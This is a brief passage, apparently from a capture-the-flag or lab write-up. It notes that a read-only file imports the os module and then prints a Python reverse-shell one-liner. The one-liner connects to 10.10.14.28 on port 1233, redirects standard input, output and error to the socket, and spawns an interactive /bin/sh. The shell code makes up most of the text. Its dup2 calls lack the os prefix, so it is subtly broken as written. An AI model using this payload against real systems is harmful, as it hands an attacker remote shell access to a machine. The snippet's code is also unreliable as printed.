The file only has read permissions, after reading the file, we see that it runs the os module. We can check if that is configured correctly.
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.28",1233));
dup2(s.fileno(),0);
dup2(s.fileno(),1);
dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
